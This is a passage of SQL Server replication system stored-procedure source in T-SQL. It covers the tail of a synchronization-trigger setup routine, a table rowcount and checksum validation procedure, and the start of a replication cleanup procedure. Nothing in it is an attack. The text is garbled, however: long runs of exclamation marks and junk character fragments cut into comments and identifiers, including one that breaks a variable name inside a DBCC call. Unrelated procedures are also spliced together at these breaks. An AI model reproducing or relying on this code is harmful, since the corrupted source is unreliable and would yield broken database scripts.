    if ((@pubversion = 2) and not (@cftproc is null or lower(@cftproc) = 'null'))
    begin
        --
        -- Publisher is 80SP3 or later
        -- @cftproc should exist and article information should exist
        -- for this subscription
        --
        if not exists (select artid 
            from (dbo.MSsubscription_articles as a join dbo.MSsubscription_agents as b
                    on a.agent_id = b.id)
            where upper(b.publisher) = upper(@publisher)
                and b.publisher_db = @publisher_db
                and b.publication = @publication
                and a.dest_table = object_name(@object_id))
        begin
            --
            -- There is no article information
            -- disable queued specific scripting 
            --
            select @cftproc = 'null'
        end
    end    

    if @dump_cmds = 0
    begin
        --
        -- For legacy synctran if timestamp column is being replicated as varbinary
        -- Add default to the column 
        --
        if (@ftscolnull = 0) and OBJECTPROPERTY(@object_id, 'tablehastimestamp') <> 1
        begin
            select @constraint_name = 'MSrepl_synctran_ts_default_' + convert(nvarchar(10), @object_id)
            if not exists (select * from sys.objects where name = @constraint_name)
            begin
                select @quoted_name = quotename(@ts_col)
                exec ('alter table ' + @qualname + 
                        ' add constraint ' + @constraint_name + 
                        ' default 0 for ' + @quoted_name )
                if @@error <> 0
                    goto UNDO
            end
        end
        --
        -- For legacy synctran if identity column is being replicated as base type
        -- Add default to the column 
        --
        if (@fidentcolnull = 0) and OBJECTPROPERTY(@object_id, 'tablehasidentity') <> 1
        begin
            select @constraint_name = 'MSrepl_synctran_identity_default_' + convert(nvarchar(10), @object_id)
            if not exists(select * from sys.objects where name = @constraint_name)
            begin
                select @quoted_name = quotename(@identity_col)
                exec ('alter table ' + @qualname + 
                        ' add constraint ' + @constraint_name + 
                        ' default 0 for ' + @quoted_name )
                if @@error <> 0
                    goto UNDO
            end
       end
    end
    --
    -- Get agent_id
    --

    -- First try to get the agent id initialized by the distribution agent
    declare @agent_id int
                ,@login_time datetime
    select @login_time = login_time from sys.sysprocesses where spid = @@spid

    select @agent_id = id from MSsubscription_agents where
        spid = @@spid and
        login_time = @login_time

    -- If row not found, the current call is not from a distribution agent. Uses
    -- are creating trigger manually using the script generated by
    -- sp_script_synctran_triggers.
    -- Get the row using the publication name. However, it is possible that there are
    -- more than one qualifed rows with different subscription_type, for example
    -- pull and push subscriptions to share agent publications or subscriptions that has
    -- not been cleaned up!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ZAfvvz.
    if @agent_id is null
    begin
        declare @num_dup_rows int
        select @agent_id = avg(id), @num_dup_rows = count(*) from MSsubscription_agents where
            UPPER(publisher) = UPPER(@publisher) and
            publisher_db = @publisher_db and
            publication = case @independent_agent 
                when 0 then N'ALL'
                else @publication
                end and
            -- We know the subscription must be updateble. This
            -- is to reduce the chance of dup rows.
            update_mode <> 0

        if @num_dup_rows > 1
        begin
            -- Raise subscription already exist error
            -- This should rarely happen.
            RAISERROR (14058, 16, -1)
            goto UNDO
        end

        if @agent_id is null
        begin
            raiserror(20588, 16, -1)
            goto UNDO
        end
    end
    --
    --coming from sp_addsynctriggers, these trigger names should be not null
    --use the names directly as triggers have not been created yet
    --otherwise coming from DDL trigger, they should be null, in which case
    --query names from metadata
    --
    if (@ins_trig is null or @del_trig is null or @upd_trig is null)
    begin
        select @ins_trig = sys.fn_synctrigger(@object_id
                                                                ,@publication
                                                                ,N'trg_MSsync_ins_%')
        if @@error <> 0
        goto UNDO

        select @del_trig = sys.fn_synctrigger(@object_id 
                                                                ,@publication
                                                                ,N'trg_MSsync_del_%')
        if @@error <> 0
        goto UNDO

        select @upd_trig = sys.fn_synctrigger(@object_id 
                                                                ,@publication
                                                                ,N'trg_MSsync_upd_%')

        if @@error <> 0
        goto UNDO        
    end
    else
    begin
        --
        -- this call is coming from sp_addsynctriggers
        -- we need to update metadata
        --
        select @fupdatetrigmetadata = 1
    end
    exec @retcode = sys.xp_varbintohexstr @primary_key_bitmap, @bitmap_str output
    if @retcode <> 0 or @@error <> 0
        goto UNDO

    --
    -- Create/ or alter insert trigger
    --
    select @dbname = db_name()
    select @cmd = 'sys.sp_MSscript_sync_ins_trig ' + 
        convert( nvarchar, @object_id )  + ', N' + 
        quotename(@publisher, '''')     + ', N' + 
        quotename(@publisher_db, '''')  + ', N' + 
        quotename(@publication, '''')   + ', N' + 
        quotename(@ins_trig, '''')      + ', N' + 
        quotename(@ins_proc, '''')      + ', N' + 
        quotename(@proc_owner, '''')    + ', N' + 
        quotename(@cftproc, '''')       + ', ' + 
        convert(nvarchar(10), @agent_id) + ', N' + 
        quotename(@identity_col, '''')  + ', N' + 
        quotename(@ts_col, '''')        
    if @filter_clause in ('NULL', 'null')
        select @cmd = @cmd + ', null' 
    else 
        select @cmd = @cmd + ', N''' + replace (@filter_clause,'''','''''')  + ''''
    -- Set primary key bitmap and pubversion
    select @cmd = @cmd + ', ' + @bitmap_str +  ', ' + cast(@pubversion as nvarchar(10))
                    + ', ' + cast(@alter as nvarchar(1))

    exec @retcode = sys.xp_execresultset @cmd, @dbname
    IF @@ERROR <> 0 or @retcode <> 0
        goto UNDO
    --
    -- Create/or alter update trigger
    --
    select @cmd = 'sys.sp_MSscript_sync_upd_trig ' + 
        convert( nvarchar, @object_id )  + ', N' + 
        quotename(@publisher, '''')     + ', N' + 
        quotename(@publisher_db, '''')  + ', N' + 
        quotename(@publication, '''')   + ', N' + 
        quotename(@upd_trig, '''')      + ', N' + 
        quotename(@upd_proc, '''')      + ', N' + 
        quotename(@proc_owner, '''')    + ', N' + 
        quotename(@cftproc, '''')       + ', ' + 
        convert(nvarchar(10), @agent_id) + ', N' + 
        quotename(@identity_col, '''')  + ', N' + 
        quotename(@ts_col, '''')        
    if @filter_clause in ('NULL', 'null')
        select @cmd = @cmd + ', null' 
    else 
        select @cmd = @cmd + ', N''' + replace (@filter_clause,'''','''''')  + ''''
    -- Set primary key bitmap and pubversion
    select @cmd = @cmd + ', ' + @bitmap_str +  ', ' + cast(@pubversion as nvarchar(10))
                + ', ' + cast(@alter as nvarchar(1))

    exec @retcode = sys.xp_execresultset @cmd, @dbname
    IF @@ERROR <> 0 or @retcode <> 0
    goto UNDO
    --
    -- Create/ or alter delete trigger
    --
    select @cmd = 'sys.sp_MSscript_sync_del_trig ' + 
        convert( nvarchar, @object_id )  + ', N' + 
        quotename(@publisher, '''')     + ', N' + 
        quotename(@publisher_db, '''')  + ', N' + 
        quotename(@publication, '''')   + ', N' + 
        quotename(@del_trig, '''')      + ', N' + 
        quotename(@del_proc, '''')      + ', N' + 
        quotename(@proc_owner, '''')    + ', N' + 
        quotename(@cftproc, '''')       + ', ' + 
        convert(nvarchar(10), @agent_id) + ', N' + 
        quotename(@identity_col, '''')  + ', N' + 
        quotename(@ts_col, '''')        
    if @filter_clause in ('NULL', 'null')
        select @cmd = @cmd + ', null' 
    else 
        select @cmd = @cmd + ', N''' + replace (@filter_clause,'''','''''')  + ''''    
    -- Set primary key bitmap and pubversion
    select @cmd = @cmd + ', ' + @bitmap_str +  ', ' + cast(@pubversion as nvarchar(10)) 
            + ', ' + cast(@alter as nvarchar(1))

    exec @retcode = sys.xp_execresultset @cmd, @dbname
    IF @@ERROR <> 0 or @retcode <> 0
        goto UNDO

    --
    -- Set up identity range table
    --
    if @identity_support <> 0 and @dump_cmds = 0 -- for regening triggers only, we don't touch identity ranges
    begin
        if not exists (select * from sys.objects where name = 'MSsub_identity_range')
        begin
            create table dbo.MSsub_identity_range (
            objid int not null,
            range bigint not null,
            last_seed bigint not null,
            threshold int not null)
            IF @@ERROR <> 0
                goto UNDO

            CREATE UNIQUE CLUSTERED INDEX ucMSsub_identity_range ON dbo.MSsub_identity_range (objid)

            exec dbo.sp_MS_marksystemobject 'MSsub_identity_range'
            IF @@ERROR <> 0
                goto UNDO
        end
        if not exists (select * from MSsub_identity_range where objid = @object_id)
        begin
            -- add zero at the beginning.
            insert into MSsub_identity_range (objid, range, last_seed, threshold) values
            (@object_id, 0, 0, 0)
            IF @@ERROR <> 0
                goto UNDO
        end
    end
    --
    -- Get qual names for triggers created
    --
    if lower(@sub_table_owner) = N'null'
    begin
        select @qual_ins_trig = QUOTENAME(@ins_trig)
                ,@qual_upd_trig = QUOTENAME(@upd_trig)
                ,@qual_del_trig = QUOTENAME(@del_trig)
    end
    else
    begin
        select @qual_ins_trig = QUOTENAME(@sub_table_owner) + N'.' + QUOTENAME(@ins_trig)
                ,@qual_upd_trig = QUOTENAME(@sub_table_owner) + N'.' + QUOTENAME(@upd_trig)
                ,@qual_del_trig = QUOTENAME(@sub_table_owner) + N'.' + QUOTENAME(@del_trig)
    end
    --
    -- Set trigger firing order for insert
    --
    exec sys.sp_settriggerorder @triggername = @qual_ins_trig, @order = 'first', @stmttype = 'insert'
    exec sys.sp_settriggerorder @triggername = @qual_upd_trig, @order = 'first', @stmttype = 'update'
    exec sys.sp_settriggerorder @triggername = @qual_del_trig, @order = 'first', @stmttype = 'delete'
    IF @@ERROR <> 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<A[A$]z
        goto UNDO
    --
    -- Mark procedures as system procs 
    --
    exec dbo.sp_MS_marksystemobject @qual_ins_trig
    exec dbo.sp_MS_marksystemobject @qual_upd_trig
    exec dbo.sp_MS_marksystemobject @qual_del_trig
    IF @@ERROR <> 0
        goto UNDO
    --
    -- update metadata if needed
    --
    if (@fupdatetrigmetadata = 1)
    begin
        insert into MSreplication_objects(publisher, publisher_db, publication, object_name, object_type)
            values(@publisher, @publisher_db, @publication, @ins_trig, 'T')
        IF @@ERROR <> 0
            goto UNDO
        insert into MSreplication_objects(publisher, publisher_db, publication, object_name, object_type)
            values(@publisher, @publisher_db, @publication, @upd_trig, 'T')
        IF @@ERROR <> 0
            goto UNDO
        insert into MSreplication_objects(publisher, publisher_db, publication, object_name, object_type)
            values(@publisher, @publisher_db, @publication, @del_trig, 'T')
        IF @@ERROR <> 0
            goto UNDO    
    end

    -- if we're regenerating triggers as part of sp_link_publication
    --   we don't yet sign them, instead we wait until all triggers for
    --   all articles are created and sign them all at once
    if @dump_cmds = 1 
    begin
        commit tran
        return (0)
    end

    --
    -- Certify the triggers if needed
    -- if we have immediate updating, publisher link security mode 0, 
    -- then certify
    --
    select @contextuser = case when (publisher_security_mode in (0,1) and publisherlinkuser = N'xxxx') 
                            then N'repllinkproxy' else publisherlinkuser end
            ,@pubsecuritymode = publisher_security_mode
    from MSsubscription_properties 
    where upper(publisher) = upper(@publisher)
        and publisher_db =  @publisher_db
        and publication = @publication
    if (@updatemode in (1,3,5)) and @pubsecuritymode = 0 and @contextuser is not null
    begin
        --
        -- the context user should not be a sysadmin
        --
        if exists (select * from sys.database_principals as dp join master.dbo.syslogins as s on dp.sid = s.sid
                        where dp.name = @contextuser and (ISNULL(IS_SRVROLEMEMBER('sysadmin',s.name),0) != 1))
        begin
            --
            -- Create a well known certificate on subdb
            --
            select @certname = N'REPLCERT_' + db_name() + cast(newid() as sysname)
            exec @retcode = sys.sp_MSrepltrigpreparecert @mode = 1
                                        ,@certname = @certname
                                        ,@publisher = @publisher
                                        ,@publisher_db = @publisher_db
                                        ,@publication = @publication
            if @@error != 0 or @retcode != 0
                goto UNDO
            select @fprepcertonsub = 1
            --
            -- grant privileges necessary
            --
            if (@islocalpub = 0)
            begin
                select @cmd = N'master.sys.sp_MSrepltrigcertgrant'
                exec @retcode = @cmd @mode = 1
                                    ,@islocalpub = @islocalpub
                                    ,@certname = @certname
                                    ,@targetdb = N'master'
            end
            else
            begin
                select @cmd = quotename(@publisher_db) + N'.sys.sp_MSrepltrigcertgrant'
                exec @retcode = @cmd @mode = 1
                                    ,@islocalpub = @islocalpub
                                    ,@certname = @certname
                                    ,@targetdb = @publisher_db
            end
            if @@error != 0 or @retcode != 0
                goto UNDO
            select @fgrantcertontarget = 1
        end
    end
    --
    -- commit tran
    --
    commit tran
    --
    -- all done
    --
    return (0)
UNDO:
    if (@fgrantcertontarget = 1)
    begin
        if (@islocalpub = 0)
        begin
            select @cmd = N'master.sys.sp_MSrepltrigcertgrant'
            exec @cmd @mode = 2
                                ,@islocalpub = @islocalpub
                                ,@certname = @certname
                                ,@targetdb = N'master'
        end
        else
        begin
            select @cmd = quotename(@publisher_db) + N'.sys.sp_MSrepltrigcertgrant'
            exec @cmd @mode = 2
                                ,@islocalpub = @islocalpub
                                ,@certname = @certname
                                ,@targetdb = @publisher_db
        end
    end
    if (@fprepcertonsub = 1)
    begin
        exec sys.sp_MSrepltrigpreparecert @mode = 2
                                    ,@certname = @certname
                                    ,@publisher = @publisher
                                    ,@publisher_db = @publisher_db
                                    ,@publication = @publication
    end

    rollback tran sp_addsynctriggerscore
    commit tran
    return 1

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(\uavscreate procedure sys.sp_MStable_validation
(
    @table sysname,                -- table name or sync object name
    @expected_rowcount bigint = NULL OUTPUT,
    @expected_checksum numeric = NULL OUTPUT,
    @rowcount_only smallint = 1,
    /* 
    The @rowcount_only param is overloaded for shiloh release due to backward compatibility concerns.
    In shiloh, the checksum functionality has changed.   So 7.0 subscribers will have the old checksum 
    routines, which generate different CRC values, and do not have functionality for vertical partitions,
    or logical table structures where column offsets differ (due to ALTER TABLEs that DROP and ADD columns).

    In 7.0, this was a bit column.  0 meant do not do just a rowcount - do a checksum.  1 meant just do a 
    rowcount.

    For Shiloh, this parameter is changed to a smallint.  The name "rowcount_only" is now a 
    misnomer given the overloaded functionality.  It is really a "type of check requested"
    parameter.   But, the old name is retained for backward compatibility.   It can take 
    these values:

    0 - Do a 7.0 compatible checksum
    1 - Do a rowcount check only (remains the default)
    2 - Use new Shiloh checksum functionality.  

    Note that because 7.0 subscribers will 
    take this parameter as a bit type, not a smallint, it will be interpreted as simply
    ON.  That means that passing a 2, and having a 7.0 subscriber, will result in the 7.0
    subscriber doing only rowcount validation.   The Shiloh subscribers will do both
    rowcount and checksum.  If you want 7.0 subscribers to do checksum validation, use 
    the value of 0 for this parameter.   Shiloh subscribers can do the 7.0 compatible 
    checksum, but that checksum has the same 7.0 limitations for vertical partitions 
    and differences in physical table structure.)

    */

    @owner    sysname = NULL,
    @full_or_fast tinyint = 2,        -- full (value 0) does COUNT(*) 
                        -- fast (value 1) uses sysindexes.rowcnt if table (not view); 
                        -- conditional fast (VALUE 2) , first tries fast method, but
                        -- reverts to full if fast method shows differences.
    @shutdown_agent bit = 0,         -- If 1 will raise error 20578, which will signal replication agent to shutdown
    @table_name sysname    = NULL,        -- table name of sync object or the table name for output message,
    @column_list nvarchar(max) = NULL,     -- the list of columns - that way the user can skip computed columns etc
    @filter_clause nvarchar(max) = NULL
)
as
BEGIN
    set nocount on

    declare @num_rows bigint
                ,@checksum numeric
                ,@checksum_string varchar(100)
                ,@expected_checksum_string varchar(21)
                ,@rowcount_string varchar(21)
                ,@exp_rowcount_string varchar(21)
                ,@width int
                ,@qualified_table_name nvarchar(517)  -- two names plus []'s and a .
                ,@temp_table_used bit
                ,@retstatus int
                ,@failed_fast tinyint
                ,@min_indid int
                ,@asked_for_exp_checksum tinyint
                ,@asked_for_exp_rows tinyint
                ,@error_id int

    select @retstatus=0    -- initialize to SUCCESS
            ,@failed_fast=0
            -- Wants an expected checksum value
            ,@asked_for_exp_checksum = case when (@expected_checksum IS NULL 
                    AND isnull(@rowcount_only,-9999) <> 1 ) then 1 else 0 end
            -- Wants an expected rowcount value
            ,@asked_for_exp_rows = case when (@expected_rowcount IS NULL) 
                    then 1 else 0 end

    IF @filter_clause IS NOT NULL AND LTRIM(@filter_clause) <> N''
    BEGIN
        SET @filter_clause = N' WHERE (' + @filter_clause + N')'
    END
    ELSE
    BEGIN
        SET @filter_clause = N'' 
    END

    -- Only values 0,1,2 make sense for @rowcount_only. 
    if (@rowcount_only NOT BETWEEN 0 and 2)
    BEGIN
        -- msg 20543 says that @rowcount_only must be 0,1,2 and explains the values.
        RAISERROR (20543,16,-1,@qualified_table_name)
        SET @retstatus=1
        return @retstatus
    END

    -- RHS:  
    -- Some states do not make sense.  For example,  it does not make sense to ask for conditional
    -- fast row count checking, yet not provide an expected value.  If this is done, provide a warning
    -- message and use fast checking method.
    if (@full_or_fast = 2 AND @expected_rowcount IS NULL)
    BEGIN
        -- (20559,10,0,'Conditional Fast Rowcount method requested without specifying an expected count. Fast method will be used.', 1033)
        raiserror (20559, 10, -1)
        SET @full_or_fast = 1
    END

    -- Another state that doesn't make sense is to pass an expected checksum value, yet
    -- ask for rowcount only validation
    if (@expected_checksum IS NOT NULL AND @rowcount_only = 1)
    BEGIN
        -- (Msg 20560,10,0,'An expected checksum value was passed, but checksums will not be compared because rowcount only checking was requested.', 1033)
        raiserror (20560, 10, -1)
        SET @expected_checksum = NULL
    END

    if @owner is null
    begin
        select @qualified_table_name = case when (left(ltrim(rtrim(@table)), 1) <> '[' or right(ltrim(rtrim(@table)), 1) <> ']') 
                then  quotename(@table)
                else @table end
    end
    else
    begin
        select @qualified_table_name =  case when (left(ltrim(rtrim(@table)), 1) <> '[' or right(ltrim(rtrim(@table)), 1) <> ']') 
                then quotename(@owner) + '.' + quotename(@table)
                else quotename(@owner) + '.' + @table end
    end

    IF (OBJECT_ID(@qualified_table_name) IS NULL)
    -- No such object.  Return with error.
    BEGIN
        -- Msg (20585,10,0,'Object '%s' does not exist.  Exiting validation check.', 1033)  
        RAISERROR (20585,16,-1,@qualified_table_name)
        SET @retstatus=1
        return @retstatus
    END

    -- If the object is a table (not view) and fast checking (1) requested,
    -- then get rowcount from sysindexes, rather than scanning.
    -- Fast rowcount method gets value from sysindexes - and the row_cnt value is only maintained for tables.

    IF (SELECT @full_or_fast) > 0    -- IF Fast row checking asked for
        AND 
       (SELECT OBJECTPROPERTY(OBJECT_ID(@qualified_table_name),'IsTable')) > 0  -- Must be a table, not a view
        AND 
       (@filter_clause = N'') -- Article is not horizontally partitioned
    BEGIN
        -- Do the fast rowcount method
        -- Temporarily put a SHARE lock on table to ensure no simultaneous updates going on
        -- Minimizes chances of getting an out of date value from sysindexes.   True that
        -- it reduces concurrency, but if the fast method doesnt work the user will very likely
        -- go do the full method, which will be much more costly.   Better I think to take a little more cost here
        -- and hopefully get a good number.   The @foo variable is used so that its an
        -- assignment and doesn't make another result set get returned.

        BEGIN TRANSACTION 
        SAVE TRANSACTION tmpsharelock_validation
        
        EXEC ('DECLARE @foo int SELECT @foo=1 FROM ' + @qualified_table_name + ' WITH (TABLOCK HOLDLOCK) WHERE 1=2')
        SELECT @error_id = @@ERROR
        IF @error_id <> 0
            GOTO ROLLBACK_SHARELOCK
        
        SELECT @num_rows=row_count,
        		@min_indid=index_id 
	        FROM sys.dm_db_partition_stats 
	        WHERE object_id = OBJECT_ID(@qualified_table_name)
	        	AND index_id < 2
        SELECT @error_id = @@ERROR
        IF @error_id <> 0
            GOTO ROLLBACK_SHARELOCK

        COMMIT TRAN tmpsharelock_validation
    END
    ELSE 
    BEGIN
        -- Full checkin!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(]upvsg will be used, regardless of whether it was requested
        SET @full_or_fast = 0
    END

    -- set the output name if not set
    if (@table_name IS NULL)
        SELECT @table_name = @table

    -- If fast row checking was used, and request for rowcount check only, we're done.
    if (@full_or_fast = 1  AND  @rowcount_only = 1) 
        GOTO ROWCOUNT_MSG
    
    -- If conditional fast row checking was used, and request for rowcount check only, 
    -- we're also done IFF rows and expected rows match.
    if (@full_or_fast = 2  AND  @rowcount_only = 1 
            AND @expected_rowcount IS NOT NULL AND @expected_rowcount=@num_rows)
    BEGIN
        -- Fast checking was actually used.
        SET @full_or_fast = 1
        GOTO ROWCOUNT_MSG
    END

    --
    -- If we're still here we are doing full row checking at a minimum, and will need the temp table
    --
    IF (SELECT ISNULL(OBJECT_ID('tempdb..#tab_validt1'),0)) = 0    -- Table Does Not exist
        CREATE TABLE #tab_validt1 (tmp_rows bigint NULL, tmp_checksum numeric NULL)
    ELSE -- table already exists 
        TRUNCATE TABLE #tab_validt1

    --
    -- If we are only doing row checking, we'll do it here.  If we will do both row checking 
    -- and checksum, then do them together so as to not scan table twice.
    --
    if @rowcount_only = 1
    BEGIN   -- Must do full count(*) checking but not checksums

        if @full_or_fast=2   
        -- if we are here with conditional check (2) requested, it is because
        -- a conditional was possible, but it failed.  We wiil later alert user of this.
        BEGIN 
            select @full_or_fast=0
                      ,@failed_fast=1
        END

        insert into #tab_validt1 (tmp_rows,tmp_checksum) 
        exec ('select count_big(*), NULL from ' +    @qualified_table_name + ' WITH (TABLOCK HOLDLOCK)' + @filter_clause)

        -- Get row count value
        select  TOP 1 @num_rows = tmp_rows from #tab_validt1   -- Should only be one row

        -- IF there were no rows from above, the table was empty so use ZERO.
        IF @num_rows IS NULL
            SELECT @num_rows=0

        -- Done with the temp table
        DROP TABLE #tab_validt1

        IF @expected_rowcount IS NULL
        BEGIN
            SET @expected_rowcount = @num_rows
        END
        GOTO ROWCOUNT_MSG
    END -- Done with full row count only

    ELSE  -- Doing checksums in addition to ROWCOUNT

    BEGIN    -- DO checksum and rowcount in same pass thru the table
        -- Decide whether must use the 7.0 compatible checksum, or use the Shiloh checksum:
    
        IF (@rowcount_only = 0) 
        BEGIN
            -- 7.0 Compatible Checksum
            insert into #tab_validt1 (tmp_rows,tmp_checksum)
            exec ('select count_big(*), sum (convert(numeric, getchecksum(NULL,1))) from ' +    @qualified_table_name + ' WITH (TABLOCK HOLDLOCK)')
        END
        ELSE
        BEGIN  
            -- Shiloh Checksum
            if @column_list IS NULL OR @column_list = ' * '
            begin
                insert into #tab_validt1 (tmp_rows,tmp_checksum)
                exec ('select count_big(*), sum (convert(numeric, binary_checksum(*) ) ) from ' +    @qualified_table_name + ' WITH (TABLOCK HOLDLOCK)' + @filter_clause)
            end
            else
            begin
                insert into #tab_validt1 (tmp_rows,tmp_checksum)
                exec ('select count_big(*), sum (convert(numeric, binary_checksum( ' + @column_list + ') ) ) from ' +    @qualified_table_name + ' WITH (TABLOCK HOLDLOCK)' + @filter_clause)
            end            
        END
        -- Get the checksum & rowcount values
        select TOP 1 @checksum = tmp_checksum, @num_rows= tmp_rows from #tab_validt1
    
        -- IF there were no rows from above, the table was empty so use ZERO.
        IF @checksum IS NULL or @num_rows IS NULL
            SELECT @checksum=isnull(@checksum,0),@num_rows=isnull(@num_rows,0)

        -- Done with the temp table
        DROP TABLE #tab_validt1
    
        IF @expected_rowcount IS NULL  -- Just getting value - no expected value yet.
            select @expected_rowcount = @num_rows
    
        -- Validate checksum
        if @expected_checksum is null
        begin
            -- Just getting value - no expected value yet.
            select @expected_checksum = @checksum
        end
        else
        begin
            -- Raise error if checksums OR rowcounts do not match
            if @checksum <> @expected_checksum OR @num_rows <> @expected_rowcount
            begin
                -- Checksum failed.
                SELECT     @checksum_string = convert(varchar(21), @checksum),
                                    @expected_checksum_string = convert(varchar(21), @expected_checksum),
                                    @rowcount_string = convert(varchar(21),@num_rows),
                                    @exp_rowcount_string = convert(varchar(21),@expected_rowcount)

                -- Msg (20525,10,0,'Table ''%s'' might be out of synchronization. Rowcounts (actual: %s, expected %s). Checksum values (actual: %s, expected: %s).', 1033)
                raiserror (20525, 10, -1, @table, @rowcount_string, @exp_rowcount_string, @checksum_string, @expected_checksum_string)
                select @retstatus=1
            end
            else
            begin
                -- Row count and checksum validation passed.
                if @asked_for_exp_checksum=0 -- Only give message if not generating the expected value
                BEGIN
                    -- Msg (20527,10,0,'Table ''%s'' passed rowcount (%s) and checksum validation. (Note: checksum is not compared for any text and image columns.)', 1033)
                    SET @rowcount_string=convert(varchar(21),@num_rows)
                    raiserror (20527, 10, -1, @table,@rowcount_string)
                END
            end
        end
        -- Done with checksum and rowcount scan.
    END
    -- We did checksum method, and so are done and skip over the rowcount only messages.
        
    GOTO ALL_DONE

ROWCOUNT_MSG:
    -- Raise error if rows counts do not match
    if @expected_rowcount IS NULL 
    begin
        -- just return the found value
        select @expected_rowcount=@num_rows
    end
    else
    begin
        IF @num_rows <> @expected_rowcount
        begin
            -- Row count validation failed. 
            SELECT     @rowcount_string=convert(varchar(21),@num_rows),
                            @exp_rowcount_string=convert(varchar(21),@expected_rowcount)
            -- Msg (20524,10,0,'Table ''%s'' may be out of synchronization. Rowcounts (actual: %s, expected: %s). Rowcount method %d used (0 = Full, 1 = Fast).', 1033)
            raiserror (20524, 10, -1, @table_name, @rowcount_string, @exp_rowcount_string, @full_or_fast )
            select @retstatus=1
        end
        else
        begin
            -- Row count validation passed. 
            select @rowcount_string=convert(varchar(21),@num_rows)
            if @asked_for_exp_rows=0 -- Only give message if not generating the expected value
            begin
                -- Msg (20526,10,0,'Table ''%s'' passed rowcount (%s) validation. Rowcount method %d used (0 = Full, 1 = Fast).', 1033)
                raiserror (20526, 10, -1, @table_name, @rowcount_string, @full_or_fast)
            end

            if @failed_fast=1
            begin
                -- if we had to revert to FULL on a CONDITIONAL FAST, Make that known too.
                -- And Update usage to fix the problem
                -- Msg 20558: 'Table ''%s'' passed full row count validation after failing the fast check.  DBCC UPDATEUSAGE will be automatically initiated.'
                raiserror (20558, 10, -1, @table_name)
                DBCC UPDATEUSAGE (0,@qualified_table_nam!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(^]v1
--
-- Name: sp_MSremovedbreplication
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSremovedbreplication
(
	@type				nvarchar(5) = 'both',	-- 'merge' or 'tran' or 'both' to cleanup.
	@ignore_distributor	bit = 0,
    @from_backup        bit = 0
)
AS
begin
    --
    --  Note: There is zero error handling in this procedure, as it is considered a
    --         best effort cleanup. Failed procedures should still report their errors. 
    --         See SQL BU #387130 for more information. 
    --

    SET NOCOUNT ON
	DECLARE @ErrorMessage NVARCHAR(4000)

	
    /*
    ** Declarations.
    */

    DECLARE @retcode int
                ,@pubid uniqueidentifier
                ,@whattodrop int
                ,@drop_jobs int
                ,@job_id varbinary(18)
                ,@job_step_uid uniqueidentifier
                ,@agent_name sysname
                ,@publisher sysname
                ,@publisher_db sysname
    			,@distributor_rpc sysname
    			,@distribution_db sysname
    			,@procedure	nvarchar(4000)
                ,@REPLICA_STATUS_BeforeRestore tinyint
                ,@SUBSCRIPTION_TYPE_LIGHTWEIGHT tinyint
                ,@regkey nvarchar(2000)
                ,@subscription_name nvarchar(2000)
                ,@publisher_db_prefix nvarchar(514)
                ,@local_regkey nvarchar(2000)
      
    declare @keyexist table (KeyExist int)
	

    select @whattodrop = 0
    		,@publisher = publishingservername()
    		,@publisher_db = DB_NAME()
            ,@REPLICA_STATUS_BeforeRestore= 7
            ,@SUBSCRIPTION_TYPE_LIGHTWEIGHT= 3

    -- If the attach info table exists, we need to restore the subscriptions, not
    -- deleting anything. Do nothing.
    if exists (select * from sys.objects where
                name = 'MSreplication_restore_stage')
        return 0



    --
	-- cleanup any distributor side jobs if we are not ignoring distrib
	--
	
    SELECT @drop_jobs = 0
    
	IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('tran', 'both')
    	AND DatabasePropertyEx(@publisher_db, 'IsPublished') = 1
	BEGIN
    	SELECT @drop_jobs = 1
    END

	IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('merge', 'both')
		AND DatabasePropertyEx(@publisher_db, 'IsMergePublished') = 1
    BEGIN
		SELECT @drop_jobs = 1
    END

    IF @drop_jobs = 1
    	AND @ignore_distributor = 0
    BEGIN					
		-- retrieve the distribution database name			
		EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
												@distribdb = @distribution_db OUTPUT,
												@publisher = @publisher
		IF @@ERROR <> 0 OR @retcode <> 0 OR @distribution_db is NULL
		BEGIN
			-- "The Distributor has not been installed correctly."
			RAISERROR(20036, 10, -1)		
		END
								
		SELECT @procedure =  QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSforce_drop_distribution_jobs'
		EXEC @retcode = @procedure @publisher = @publisher,
									@publisher_db = @publisher_db
									,@type = @type        		
    END

    --
	-- Drop publisher side jobs
	--

	-- This job is required if at least one published db exists
